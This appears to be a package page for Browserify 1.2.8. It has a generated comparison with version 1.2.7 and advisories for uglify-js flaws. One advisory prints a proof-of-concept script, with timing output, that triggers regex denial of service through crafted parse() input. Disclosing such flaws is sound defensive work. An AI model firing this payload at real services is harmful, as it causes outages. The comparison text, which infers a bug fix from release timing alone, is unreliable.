Browserify version 1.2.8 is a minor update to the popular JavaScript library that allows you to use Node.js-style require() statements in the browser. Comparing it with the previous stable version, 1.2.7, we see that the core functionality and dependencies remain largely unchanged. Both versions share the same description, targeting browser-side module management, and maintain identical dependencies which include libraries for node module utilities. This consistency ensures that existing projects using Browserify will likely experience no breaking changes when upgrading.
The dependencies for both versions show a reliance on specific versions or ranges for related packages which are important for ensuring consistent behavior. For example, coffee-script is locked to version greater or equal to 1.1.1 but less than version 1.2, this level of specificity in versioning helps to mitigate dependency conflicts.
The key difference between the two versions lies in their release dates. Browserify 1.2.8 was released on July 5th, 2011 at 07:09 UTC, a slight time difference from the previous version released earlier that same day. This might indicate a potential bug fix or minor improvement implemented shortly after the initial 1.2.7 release. Developers considering upgrading should note this close succession, suggesting a potentially valuable update addressing immediate concerns. Ultimately, for developers already leveraging Browserify, upgrading to 1.2.8 is a low-risk update that could incorporate beneficial, even if minor, improvements.
All the vulnerabilities related to the version 1.2.8 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.